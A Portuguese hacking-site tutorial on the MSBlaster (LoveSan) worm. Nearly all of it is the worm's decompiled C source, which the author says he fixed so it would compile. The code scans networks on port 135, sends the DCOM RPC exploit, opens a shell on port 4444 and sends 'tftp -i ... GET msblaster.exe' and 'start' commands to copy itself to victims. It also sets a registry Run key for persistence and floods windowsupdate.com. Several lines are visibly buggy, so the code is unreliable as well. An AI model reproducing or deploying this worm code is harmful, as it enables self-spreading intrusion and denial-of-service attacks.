Tutoriais
Worm Blaster Informações e código-fonte comentado
Por Marcos Velasco
marcos@velasco.com.br
O MSBlaster worm, também
conhecido como LoveSan, MSBlast
ou, simplesmente, Blaster, é um
dos casos de maior aproveitamento de
vulnerabilidades que se tem notícia.
Atualmente, a exploração de falhas, aliada à falta de atualizações e cuidado dos usuários,
tem sido um dos caminhos para tentar
contaminar milhares de computadores em
poucas horas.
Originalmente, o Blaster foi escrito em
linguagem C e compilado com o LCC 1.x
(um compilador C gratuito que gera
executáveis extremamente pequenos).
Internamente, o worm faz uso de um exploit
(conhecido como DCOM), no qual
criptografa os dados através de XOR.
Como o ataque é feito?
Uma requisição é feita através da porta
135. Se a porta estiver aberta, o worm
imediatamente envia o exploit. O ataque
segue através de um CMD.EXE
(processador de linha de comando para
Windows NT/2000 e XP) direcionado à
porta 135, e os seguintes comandos são
enviados:
tftp -i ip_origem GET
msblaster.exe
start msblaster.exe
msblaster.exe
Como padrão, o TFTP está instalado no
diretório SYSTEM32 do Windows. O Blaster
apenas faz a abertura de si próprio e envia-se
em partes de 512 bytes.
O Quando o Blaster inicia, ele cria,
primeiramente, uma entrada na chave RUN
do registry do Windows para permitir sua
inicialização automática toda vez que o
Windows for iniciado. O passo seguinte é
definir uma classe C de IPs para pesquisar.
Então, em seguida, é feita uma checagem da
data do sistema: se o dia for maior que 15 e o
mês, maior que 8, ele faz um ataque DDoS ao
site windowsupdate.com da Microsoft.
Vinte threads (subprocessos) serão criados
para realizar a pesquisa e infecção de novos
computadores.
O código-fonte a seguir foi disassemblado e
reescrito em linguagem C por Rolf Rolles. Eu o
compatibilizei com o MS-Visual C++ 6 e consertei
diversos bugs que não o deixavam compilar.
/////
//
// MSBlaster Worm
//
// - Codigo original
disassemblado e reescrito por:
//
// Rolf Rolles
// rolf.rolles@ncf.edu
//
// - Bugs consertados e codigo
compatibilizado com MS-Visual
C++ 6, por:
//
// Marcos Velasco
// http://www.velasco.com.br
//
/////
#define
INCL_WINSOCK_API_PROTOTYPES 1
#include <winsock2.h>
#include <windows.h>
#include <wininet.h>
#include <stdio.h>
// Disabilita Warnings
#pragma warning( disable : 4024 )
#pragma warning( disable : 4047 )
#pragma warning( disable : 4133 )
#pragma warning( disable : 4761 )
#pragma comment( lib, “ws2_32.lib” )
#pragma comment( lib, “wininet.lib” )
// Variaveis
HKEY keystatus;
unsigned long class_a,
class_b, class_c;
unsigned long t1, t2, t3,
t4, unknown_dword2,
ThreadID;
unsigned long mysterious_dword
= 1, mystery_dword2 = 0;
char filename[0x104], *msblast
= “msblast.exe”;
struct sockaddr cp;
struct in_addr in;
SOCKET s;
// Transforma um IP caracter em numerico (Resolve DNS)
int GetIpAddy( char *name )
{
unsigned long E_AX;
E_AX = (unsigned long)
inet_addr( name );
if ( E_AX != -1 )
{
return E_AX;
}
E_AX = (unsigned long)
gethostbyname( name );
if ( E_AX == -1 )
{
return E_AX;
}
E_AX = (unsigned long)
*( (unsigned long *) (
(unsigned long *) ( E_AX + 12
) ) );
return E_AX;
}
// Gera um calculo sobre os
dados passados (usado nos
pacotes)
unsigned int checksum( char
*checkdata, unsigned long
checklength )
{
int j = 0;
int i;
unsigned long accum = 0,
accum2, accum3;
unsigned int currword;
// Obtem o calculo do
tamanho da string ateh o
// primeiro byte, saltando
de 2 em 2...
for ( i = checklength; i >
1; i -= 2 )
{
currword = (unsigned
int) checkdata[j];
accum += currword;
j += 2;
}
if ( i == 1 )
{
accum += (unsigned
short) checkdata[j + 1];
}
accum2 = accum;
accum2 >>= 16;
accum3 = accum;
accum3 &= (unsigned long)
0x0000FFFF;
accum = accum2;
accum += accum3;
accum2 = accum;
accum2 >>= 16;
accum += accum2;
accum = ~accum;
accum &= (unsigned long)
0x0000FFFF;
// Retorna o total obtido
return accum;
}
// Controi e envia pacotes
void build_and_send_packets(
unsigned long msipaddr, SOCKET
ss )
{
struct sockaddr to;
char buf1[0xC];
char buf[0x64];
char name[0x10];
int var_9c;
memset( &buf, 0, 60 );
// Inicializa sistema
randomico
srand( GetTickCount() );
// Obtem um IP e tenta
resolver o DNS
sprintf( name,
“%i.%i.%i.%i”, class_a,
class_b, rand() % 255,
rand() % 255 );
GetIpAddy( name );
// Constroi um pacote de
dados
to.sa_family = 2;
sprintf( to.sa_data, “%d”,
htons( 0x50 ) );
memcpy( to.sa_data + 2,
&msipaddr, 4 );
buf[0x50] = (unsigned
short) 0x45;
buf[0x52] = (unsigned int)
htons( 0x28 );
buf[0x54] = (unsigned int)
1;
buf[0x56] = (unsigned int)
0;
buf[0x58] = (unsigned
short) 0x80;
buf[0x59] = (unsigned
short) 6;
buf[0x5A] = (unsigned int)
0;
sprintf( &buf[0x60], “%d”,
msipaddr );
buf[0x3E] = (unsigned int)
htons( 0x50 );
buf[0x44] = (unsigned
long) 0;
buf[0x46] = (unsigned
short) 0x50;
buf[0x47] = (unsigned
short) 2;
buf[0x48] = (unsigned int)
htons( 0x4000 );
buf[0x4A] = (unsigned int)
0;
buf[0x4C] = (unsigned int)
0;
sprintf( &buf1[4], “%d”,
msipaddr );
buf1[8] = (unsigned short)
0;
buf1[9] = (unsigned short)
0;
buf1[10] = (unsigned int)
htons( 0x14 );
sprintf( &buf[0x5C], “%d”,
msipaddr );
buf[0x3C] = (unsigned int)
htons( (rand() % 1000) + 1000
);
var_9c = rand();
var_9c <<= 16;
var_9c |= rand();
var_9c &= (unsigned long)
0x0000FFFF;
buf[0x40] = (unsigned int)
htons( var_9c );
sprintf( &buf1[0], “%d”,
msipaddr );
memcpy( &buf, &buf1, 0xC
);
memcpy( &buf[8],
&buf[0x38], 0x14 );
buf[0x4C] = (unsigned int)
checksum( buf, 0x20 );
memcpy( &buf, &buf[0x50],
0x14 );
memcpy( &buf[0x14],
&buf[0x3C], 0x14 );
memset( &buf[0x28],
(unsigned int) 0, 4 );
buf[0x5A] = (unsigned int)
checksum( buf, 0x28 );
memcpy( &buf, &buf[0x50],
0x14 );
// Envia o pacote
sendto( ss, buf, 0x28,
NULL, &to, 0x10 );
}
// Faz o ataque DDoS ao site
windowsupdate.com da Microsoft
void __stdcall AttackMS()
{
unsigned long E_BX,
ipaddrms, socketms,
sockoptsretval, optval = 1;
_asm mov E_BX, ebx
// Obtem o IP
ipaddrms = GetIpAddy(“windowsupdate.com” );
// Inicializa socket
socketms = WSASocketA( 2,
3, 0xFF, NULL, NULL, 1 );
if ( socketms == -1 )
{
return;
}
sockoptsretval =
setsockopt( E_BX, NULL, 2,
&optval, (unsigned long) 4 );
if ( sockoptsretval == -1
)
{
return;
}
// Faz a construcao e
envio dos pacotes
while ( 1 == 1 )
{
build_and_send_packets(
ipaddrms, socketms );
Sleep( 20 );
}
// Finaliza socket
closesocket( socketms );
}
// Envia uma copia de si
proprio para um determinado IP
void __stdcall
send_copy_of_self()
{
char buf[0x204];
struct sockaddr name;
struct sockaddr from;
struct sockaddr to;
unsigned long tolen = 16,
readlen;
unsigned short int
var_204, var_202, var_200, i =
0;
int some_global_var = 1,
fromlen, filelen = 0;
FILE *thisfile;
// Inicializa socket
if ( (s = socket( 2, 2, 0
)) == -1 )
{
goto this_loc_ret;
}
memset( &name, 0, 0x10 );
name.sa_family = 2;
// Vai usar a porta 69
sprintf( name.sa_data,
“%d”, htons( 69 ) );
if ( !(bind( s, &name,
0x10 )) )
{
goto this_loc_ret;
}
if ( (recvfrom( s, &buf,
0x204, NULL, &from, &fromlen
)) == -1 )
{
goto this_loc_ret;
}
// Faz a abertura do
arquivo (de si proprio) em
modo binario
if ( !(thisfile = fopen(
filename, “rb” )) )
{
goto this_loc_ret;
}
// Loop para envio dos dados
send_self_loop:
i++;
var_204 = htons( 3 );
var_202 = htons( i );
readlen = fread( &var_200,
1, 0x200, thisfile );
readlen += 4;
// Envia parte do arquivo
if ( (sendto( s, &var_204,
filelen, NULL, &to, tolen )) <
1 )
{
goto fclose_it;
}
// Aguarda quase 1 segundo
Sleep( 900 );
if ( readlen < 0x204 )
{
goto send_self_loop;
}
// Fecha arquivo
fclose( thisfile );
goto this_loc_ret;
fclose_it:
if ( !((unsigned long)
thisfile) )
{
goto this_loc_ret;
}
// Fecha arquivo
fclose( thisfile );
this_loc_ret:
// Fecha socket
closesocket( s );
// Termina thread
ExitThread( 0 );
}
// Incrementa IPs
void inc_tvals()
{
inc_tvals_start:
// Estah no limite da parte
final do IP (xxx.xxx.xxx.000)
?
if ( t4 > 254 )
{
t4 = 0;
t3++;
}
else
{
t4++;
return;
}
// Estah no limite da 3a.
parte do IP (xxx.xxx.000.xxx) ?
if ( t3 > 254 )
{
t3 = 0;
t2++;
}
else
{
t3++;
return;
}
// Estah no limite da 2a.
parte do IP (xxx.000.xxx.xxx) ?
if ( t2 > 254 )
{
t2 = 0;
t1++;
}
else
{
t1++;
return;
}
// Estah no limite da 1a.
parte do IP (000.xxx.xxx.xxx) ?
if ( t1 > 254 )
{
t1 = 0;
goto inc_tvals_start;
}
}
// Infecta Host
void __cdecl infect_host(
SOCKET s, char *cp )
{
HANDLE hObject;
SOCKET sploit_socket;
struct sockaddr name;
char cmdbuffer[512],
fake_sockaddr[0x10], buf[0x370
+ 0x2CC + 0x3C];
char buf2[0x48],
ipofsendingbox[0x10];
unsigned long argp = 0,
ThreadID;
int i, returnaddy,
bindcode = 0, namelen;
// Constroi pacote
ioctlsocket( s,
0x8004667E, &argp );
if ( mystery_dword2 == 1 )
{
returnaddy =
0x100139D;
}
else
{
returnaddy = 0x18759F;
}
memcpy( buf2, 0, 0x48 );
memcpy( buf, 0, 0x360 );
memcpy( buf + 0x360, 0,
0x10 );
memcpy( buf + 0x370, 0,
0x2CC );
memcpy( buf + 0x394, 0, 4 );
*( (unsigned long *)
&buf[0x370] ) += (unsigned
long) 0x166;
*( (unsigned long *)
&buf[0x378] ) += (unsigned
long) 0x166;
memcpy( buf + 0x370 +
0x2CC, 0, 0x3C );
memcpy( buf + 0x370 +
0x2CC + 0x3C, 0, 0x30 );
*( (unsigned long *)
buf[0x8] ) += (unsigned long)
0x2C0;
*( (unsigned long *)
buf[0x10] ) += (unsigned long)
0x2C0;
*( (unsigned long *)
buf[0x80] ) += (unsigned long)
0x2C0;
*( (unsigned long *)
buf[0x84] ) += (unsigned long)
0x2C0;
*( (unsigned long *)
buf[0xB4] ) += (unsigned long)
0x2C0;
*( (unsigned long *)
buf[0xB8] ) += (unsigned long)
0x2C0;
*( (unsigned long *)
buf[0xD0] ) += (unsigned long)
0x2C0;
*( (unsigned long *)
buf[0x18C] ) += (unsigned
long) 0x2C0;
// Faz o envio do pacote
if ( (send( s, &buf2,
0x48, NULL )) == -1 )
{
return;
}
if ( (send( s, &buf,
strlen( buf ), NULL )) == -1 )
{
return;
}
// Finaliza socket
closesocket( s );
Sleep( 400 );
// Inicializa um novo
socket
if ( (sploit_socket =
socket( 2, 1, 0 )) == -1 )
{
return;
}
memset( &name, (unsigned
int) 0, 0x10 );
name.sa_family = 2;
// Acessa via porta 4444
sprintf( name.sa_data,
“%d”, htons( 4444 ) );
sprintf( name.sa_data[2],
“%d”, inet_addr( 0 ) );
if ( (connect(
sploit_socket, &name, 0x10 ))
== -1 )
{
return;
}
memset( &ipofsendingbox,
(unsigned int) 0, 0x10 );
namelen = 0x10;
// Faz o envio de um
pacote, contendo um falso IP
memset( &fake_sockaddr,
(unsigned int) 0, 0x10 );
getsockname(
sploit_socket, &fake_sockaddr,
&namelen );
sprintf( ipofsendingbox,
“%d.%d.%d.%d”,
(unsigned short)
fake_sockaddr[4],
(unsigned short)
fake_sockaddr[5],
(unsigned short)
fake_sockaddr[6],
(unsigned short)
fake_sockaddr[7] );
if ( s )
{
closesocket( s );
}
// Cria uma thread para
enviar copias de si proprio
hObject = CreateThread(
NULL, NULL,
(LPTHREAD_START_ROUTINE)
send_copy_of_self,
NULL,
NULL, &ThreadID );
Sleep( 80 );
// Tenta acesso via TFTP
sprintf( cmdbuffer, “tftp
-i %s GET %s\n”,
&ipofsendingbox, msblast );
if ( (send( sploit_socket,
&cmdbuffer, strlen( cmdbuffer
), NULL )) < 1 )
{
goto close_socket;
}
Sleep( 1000 );
for ( i = 0; i < 10; i++ )
{
if ( mysterious_dword
= 0 )
{
break;
}
else
{
Sleep( 2000 );
}
}
// Envia command “start”
sprintf( cmdbuffer, “start
%s\n”, msblast );
if ( (send( sploit_socket,
&cmdbuffer, strlen( cmdbuffer
), NULL )) < 1 )
{
goto close_socket;
}
// Aguarda 2 segundos
Sleep( 2000 );
// Executa o Blaster
sprintf( cmdbuffer,
“%s\n”, msblast );
send( sploit_socket,
&cmdbuffer, strlen( cmdbuffer
), NULL );
Sleep( 2000 );
close_socket:
// Fecha sockets, threads
e handles
if ( sploit_socket )
{
closesocket(
sploit_socket );
}
if ( mysterious_dword )
{
TerminateThread(
hObject, NULL );
closesocket( s );
mysterious_dword = 0;
}
if ( hObject )
{
CloseHandle( hObject
);
}
}
void ScanAndInfect()
{
fd_set writefds;
unsigned long namelen,
argp = 1, tempvar2, tempvar3;
struct sockaddr name;
SOCKET ss[20], currsock;
struct timeval timeout;
int i;
// Inicializa variaveis
memset( &name, 0, 16 );
name.sa_family = ( WORD ) 2;
// Define porta de ataque
= 135
sprintf( name.sa_data,
“%d”, htons( 135 ) );
// Tenta criar 20 conexoes
for ( i = 0; i < 20; i++ )
{
ss[i * 4] = socket(
(unsigned long) 2, (unsigned
long) 1,
(unsigned
long) 0 );
if ( (unsigned long)
ss[i * 4] = -1 )
{
return;
}
ioctlsocket( ss[i *
4], 0x8004667E, argp );
}
// Tenta 20 IPs...
for ( i = 0; i < 20; i++ )
{
inc_tvals();
sprintf( &cp,
“%d.%d.%d.%d”, t1, t2, t3, t4
);
tempvar2 = inet_addr(
&cp );
if ( tempvar2 = -1 )
{
return;
}
sprintf(
name.sa_data[2], “%d”,
tempvar2 );
connect( ss[i * 4],
&name, 16 );
}
// Aguarda 1.8 segundos
Sleep( 1800 );
// Faz o envio dos dados
em 20 partes
for ( i = 0; i < 20; i++ )
{
timeout.tv_sec = 0;
timeout.tv_usec = 0;
writefds.fd_count = 0;
tempvar3 = 0;
currsock = ss[i * 4];
while ( tempvar3 <
writefds.fd_count )
{
if (
(writefds.fd_array[tempvar3]
== currsock) )
{
break;
}
tempvar3++;
}
if (
(writefds.fd_count ==
tempvar3) &&
(writefds.fd_count
>= 0x40) )
{
writefds.fd_array[tempvar3]
= currsock;
writefds.fd_count++;
}
if ( select( NULL,
NULL, &writefds, NULL,
&timeout ) < 1 )
{
closesocket( ss[i
* 4] );
}
else
{
namelen = 10;
// Obtem o nome de uma conexao
peer conectada ao socket
getpeername( ss[i
* 4], &name, &namelen );
infect_host( ss[i
* 4], inet_ntoa( in ) );
// Finaliza socket
closesocket( ss[i
* 4] );
}
}
}
// Principal
void main( int argc, char
*argv[] )
{
struct WSAData WSAData;
struct hostent
*ptr_to_hostent;
unsigned long passed = 0;
char name[512],
DateStr[3], MonthStr[3];
// Insere chave no registy
do Windows
RegCreateKeyExA(
HKEY_LOCAL_MACHINE,
“SOFTWARE\\Microsoft\\
Windows\\CurrentVersion
\\Run\\windows”,
NULL,
NULL, NULL, 0xF003F, NULL,
&keystatus, NULL );
RegSetValueExA( keystatus,
“windows auto update”, NULL,
(ULONG) 1,
“msblast.exe”,
(ULONG) 0x32 );
RegCloseKey( keystatus );
// Cria mutex “BILLY” para
evitar mais de uma instancia
// do MSBlaster na memoria
CreateMutexA( NULL,
(ULONG) 1, “BILLY” );
if ( GetLastError() ==
0xB7 )
{
ExitProcess( 0 );
}
// Inicializa Winsock
if ( WSAStartup( (WORD)
MAKEWORD( 2, 2 ), &WSAData )
||
WSAStartup( (WORD)
MAKEWORD( 1, 1 ), &WSAData )
||
WSAStartup( (WORD) 1,
&WSAData ) )
{
// Obtem nome do
executavel
GetModuleFileNameA(
NULL, filename,
sizeof(filename) );
// Verifica se estah
conectado a Internet
// Caso NAO esteja,
aguardarah 20 segundos...
while (
!InternetGetConnectedState(
&ThreadID, NULL ) )
{
Sleep( 20000 );
}
// Inicializa sistema
randomico para obter IPs
srand( GetTickCount()
);
class_a = ( rand() %
254 ) + 1;
class_b = ( rand() %
254 ) + 1;
// IP ativo ?
if ( (gethostname(
name, 512 ) != -1) ||
(ptr_to_hostent =
gethostbyname( name )) )
{
if ( (unsigned
long) *(ptr_to_hostent-
>h_addr_list) )
{
memcpy( &in,
*(ptr_to_hostent-
>h_addr_list), 4 );
sprintf( name,
“%s”, inet_ntoa( in ) );
// Obtem as
partes do IP (xxx.xxx.xxx.xxx)
t1 = atoi( strtok( name, “.”
) );
t2 = atoi(
strtok( name, “.” ) );
t3 = atoi(
strtok( name, “.” ) );
// A terceira
parte eh maior que 20 ?
if ( t3 > 20 )
{
srand(
GetTickCount() );
t3 -= (
rand() % 20 );
}
class_a = t1;
class_b = t2;
passed = 1;
}
}
// Randomiza novamente
srand( GetTickCount()
);
if ( (rand() % 20) >
12 )
{
passed = 0;
}
// Se NAO passou pelo
sistema randomico...
if ( !passed )
{
// Randomiza nova
faixa de IPs
t1 = ( rand() %
254 ) + 1;
t2 = ( rand() %
254 );
t3 = ( rand() %
254 );
}
// Obtem dia e mes
GetDateFormatA( 0x409,
NULL, NULL, “d”, DateStr, 3 );
GetDateFormatA( 0x409,
NULL, NULL, “d”, MonthStr, 3 );
// Faz o ataque DDoS
ao Windows Update da
Microsoft, caso o
// dia seja maior que 15/
08...
if ( (atoi( DateStr )
> 15) && (atoi( MonthStr ) >
8) )
{
CreateThread(
NULL, NULL,
(LPTHREAD_START_ROUTINE)
AttackMS,
NULL,
NULL, &ThreadID );
}
// Faz a pesquisa e
infeccao
while ( 1 == 1 )
{
ScanAndInfect();
}
// Finaliza Winsock
WSACleanup();
}
}
PARTE 1: Falha de RPC(Remote Procedure Call)
GOSTARAM? ENTÃO DE UMA MORAL E VOTE NO SITE SÓ PRA INCENTIVAR A COLOCAR MAIS VIDEOS AULAS :-) não custa 2 min de seu tempo , estamos tendo mais de 100 visitas diarias e só alguns votão :-(
Quer enviar seu Tutorial?
Envie um e-mail para thorking@gmail.com sem anexos mande no corpo do e-mail.
Obrigado!
Vote e ajude a manter o Force H4ck3r no ar!
Concurso de sites Top30 Brasil. |
